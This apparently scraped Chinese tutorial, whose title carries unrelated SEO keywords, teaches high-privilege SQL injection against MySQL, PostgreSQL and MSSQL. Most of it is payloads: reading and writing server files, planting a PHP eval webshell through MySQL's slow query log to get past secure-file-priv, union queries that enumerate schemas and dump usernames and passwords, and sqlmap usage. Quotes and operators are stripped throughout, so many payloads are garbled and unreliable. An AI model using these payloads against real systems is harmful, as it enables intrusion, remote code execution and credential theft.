网站开发php工资,流程图制作网页,展示用网站模板,郑州建设信息网劳务服务系统文章目录 Mysql-root高权限读写注入PostgreSQL——dba高权限读写注入Mssql-sa高权限读写注入 Access无高权限注入点——只能猜解#xff0c;而且是暴力猜解#xff1b; MYSQL#xff0c;PostgreSQL#xff0c;MSSQL(SQL server)高权限注入点——可升级读写#xff08;文件… 文章目录 Mysql-root高权限读写注入PostgreSQL——dba高权限读写注入Mssql-sa高权限读写注入 Access无高权限注入点——只能猜解而且是暴力猜解 MYSQLPostgreSQLMSSQL(SQL server)高权限注入点——可升级读写文件、命令执行等。 所谓高权限注入点指的就是在连接数据库时所使用的用户数据库连接用户具有较高的权限。因为权限划分的缘故。如果存在高权限注入点所做的不仅仅是查看数据库的内容还可以是文件上传、命令执行。 Mysql-root高权限读写注入 读文件命令行 数据库可以调用自身的函数load_file(file_path)读取服务器上的文件。payloadselect load_file(file_path) 写文件命令行 有关函数outfile()、dumpfile()。paylaodselect file_content into outfile file_path 读文件union select 1,load_file(d:/w.txt),3 -- 在实战中一般读取数据库配置文件、网站搭建性文件。具体读哪些文件可以参考load_file 常用路径 获取网站路径方式1读取中间件的配置文件例如phpstudy的vhosts.conf文件 获取网站路径方式2phpinfo() 获取网站路径方式3报错 写文件union select 1,xxx,3 into outfile d:/www.txt --
会出现有高权限注入点但是无法读取写入文件的情况——secure-file-priv参数 secure-file-priv参数有三种情况
secure-file-privnull不允许读写secure-file-priv/tmp/读写只能发生在tmp目录下secure-file-priv 读写不做限制。
突破方法
注入点需要支持SQL执行环境若没有就需要借助phpmyadmin或能够直接连上那个对方数据库进行绕过。payload:set global slow_query_log1; //启用慢日志
set global slow_query_log_fileshell网站路径; //保存慢日志的路径便于用浏览器可以进行访问
select ?php eval($_GET[cmd]);? or sleep(11);支持堆叠注入
PostgreSQL——dba高权限读写注入
# 测列数
order by 4# 测回显位
and 12 union select null,null,null //没报就没有换下一个
and 12 union select null,null,null //爆出null# 获取信息
and 12 union select null,version(),null // 获取当前数据库版本
and 12 union select null,current_user,null //获取当前用户
and 12 union select null,current_database(),null //获取当前数据库名# 获取所有数据库名
and 12 union select null,string_agg(datname,,),null from pg_database# 获取表名
1. and 12 union select null,string_agg(tablename,,),null from pg_tables where schemanamepublic
2. and 12 union select null,string_agg(relname,,),null from pg_stat_user_tables# 获取字段名
and 12 union select null,string_agg(column_name,,),null from information_schema.columns where table_namereg_users# 读取数据
and 12 union select null,string_agg(name,,),string_agg(password,,),null from reg_users-----
# 获取DBA用户PostgreSQL中的root用户
and 12 union select null,string_agg(username,,),null from pg_user where usesuper is true参考postgresql注入
Mssql-sa高权限读写注入
# 测字段数
order by 4# 测回显位
and 12 union all select null,null,null //用单引号包裹null若该位置存在回显位则页面爆出null# 获取信息
version //获取版本信息
db_name() //当前数据库名字
user,system_user,current_user,user_name //获取当前用户名,四种查询方式
SERVERNAME //获取服务器主机信息
and 12 union all select null,db_name(),null# 查表名
and 12 union all select null,(select top 1 name from 数据库名.dbo.sysobjects where xtypeu),null
and 12 union all select null,(select top 1 name from 数据库名.dbo.sysobjects where xtypeu and name not in (manage(第一个表名))),null //查其他表# 查字段名
and 12 union all select null,(select top 1 col_name(object_id(manage),1) from sysobjects),null
and 12 union all select null,(select top 1 col_name(object_id(manage),2) from sysobjects),null# 查字段内容
and 12 union all select null,username,null from manage使用sqlmap时一般直接用sqlmap发数据包。讲数据包保存在txt文件中在参数后面加*告诉sqlmap你要在这进行注入。 payloadpython sqlmap.py -r 1.txt sql使用手册